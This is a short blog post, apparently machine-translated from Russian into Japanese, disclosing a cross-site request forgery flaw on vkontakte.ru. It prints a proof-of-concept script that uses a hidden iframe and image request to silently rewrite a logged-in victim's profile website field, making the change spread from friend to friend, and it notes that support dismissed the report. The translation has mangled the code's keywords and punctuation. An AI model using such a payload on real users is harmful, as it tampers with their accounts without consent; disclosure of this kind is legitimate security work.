vkontakte.ruのCSRF

サイトvkontakte.ruで面白い攻撃を見つけました。
tvoydohod.comにアクセスして、同時にVKontakteにログインしている場合、次のjavascriptが機能します。
 <スクリプト>
関数doit(){
   var html;
   html = '<img src = http://vkontakte.ru/profileEdit.php?page = contacts&subm = 1&website = http://tvoydohod.com>';
   window.frames ["frm"]。document.body.innerHTML = html;
 }
 </ script>
 <iframe name = "frm" onload = "doit()" width = "0" height = "0"> </ iframe>

ご覧のとおり、アドレスがvkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.comの写真が要求されます。ブラウザはこのURLを要求し、vkontakteのプロファイルでは「Website」フィールドがtvoydohod.comと同じです。
次に、あなたのプロファイルで、あなたを信頼しているあなたの友人がこのリンクをクリックし、自分のためにプロファイルを変更します...など。

このタイプの攻撃は、 クロスサイトリクエストフォージェリと呼ばれます。 wikiはすべての解毒剤と有用な情報をまとめています。

CSRF自体はかなり退屈です。 しかし、この場合、面白いのは、すべての感染者がCSRFリンク配信マンになることです。

私はテクニカルサポートに手紙を書きましたが、そこで「これはバグではありません!」、「疑わしいリンクをクリックしないでください!」などに遭遇しました。 ユーザーに感謝し、修正してくれることを願っています。
そして、あなたは完全にソーシャルネットワークに住んでいるような単純な「ウイルス」について学ぶことに興味がありました=)


Source: https://habr.com/ru/post/J21626/


All Articles